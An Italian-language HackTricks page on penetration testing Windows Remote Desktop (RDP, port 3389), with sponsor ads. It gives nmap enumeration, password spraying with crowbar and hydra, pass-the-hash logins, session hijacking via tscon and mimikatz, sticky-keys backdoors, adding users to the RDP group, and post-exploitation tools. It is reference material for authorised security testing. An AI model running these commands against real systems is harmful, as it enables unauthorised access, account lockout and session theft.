hacktricks/network-services-pentesting/pentesting-rdp.md

9.7 KiB

3389 - Pentesting RDP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Setup immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Informazioni di base

Sviluppato da Microsoft, il Remote Desktop Protocol (RDP) è progettato per abilitare una connessione con interfaccia grafica tra computer su una rete. Per stabilire tale connessione, il software client RDP è utilizzato dall'utente, e contemporaneamente, il computer remoto deve operare il software server RDP. Questa configurazione consente il controllo e l'accesso senza soluzione di continuità all'ambiente desktop di un computer distante, portando essenzialmente la sua interfaccia sul dispositivo locale dell'utente.

Porta predefinita: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumerazione

Automatica

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Controlla la crittografia disponibile e la vulnerabilità DoS (senza causare DoS al servizio) e ottiene informazioni NTLM di Windows (versioni).

Forza bruta

Fai attenzione, potresti bloccare gli account

Spray di password

Fai attenzione, potresti bloccare gli account

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Connettersi con credenziali/hash noti

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Controlla le credenziali conosciute contro i servizi RDP

rdp_check.py di impacket ti consente di verificare se alcune credenziali sono valide per un servizio RDP:

rdp_check <domain>/<name>:<password>@<IP>

Impostazione disponibile istantaneamente per la valutazione delle vulnerabilità e il pentesting. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Attacchi

Furto di sessione

Con permessi SYSTEM puoi accedere a qualsiasi sessione RDP aperta da qualsiasi utente senza bisogno di conoscere la password del proprietario.

Ottieni sessioni aperte:

query user

Accesso alla sessione selezionata

tscon <ID> /dest:<SESSIONNAME>

Ora sarai all'interno della sessione RDP selezionata e dovrai impersonare un utente utilizzando solo strumenti e funzionalità di Windows.

Importante: Quando accedi a sessioni RDP attive, disconnetterai l'utente che le stava utilizzando.

Potresti ottenere le password dal processo estraendole, ma questo metodo è molto più veloce e ti consente di interagire con i desktop virtuali dell'utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine...)

Mimikatz

Puoi anche utilizzare mimikatz per fare questo:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Combinando questa tecnica con stickykeys o utilman potrai accedere a un CMD amministrativo e a qualsiasi sessione RDP in qualsiasi momento

Puoi cercare RDP che sono stati backdoorati con una di queste tecniche già con: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Se qualcuno di un dominio diverso o con privilegi migliori accede via RDP al PC dove sei un Admin, puoi iniettare il tuo beacon nel suo processo di sessione RDP e agire come lui:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Aggiungere utente al gruppo RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco Shadow sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di visualizzare il desktop della sua vittima senza il suo consenso, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.

  • EvilRDP
  • Controlla il mouse e la tastiera in modo automatizzato dalla riga di comando
  • Controlla il clipboard in modo automatizzato dalla riga di comando
  • Crea un proxy SOCKS dal client che canalizza la comunicazione di rete verso il target tramite RDP
  • Esegui comandi SHELL e PowerShell arbitrari sul target senza caricare file
  • Carica e scarica file da/per il target anche quando i trasferimenti di file sono disabilitati sul target

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Impostazione disponibile istantaneamente per la valutazione delle vulnerabilità e il penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}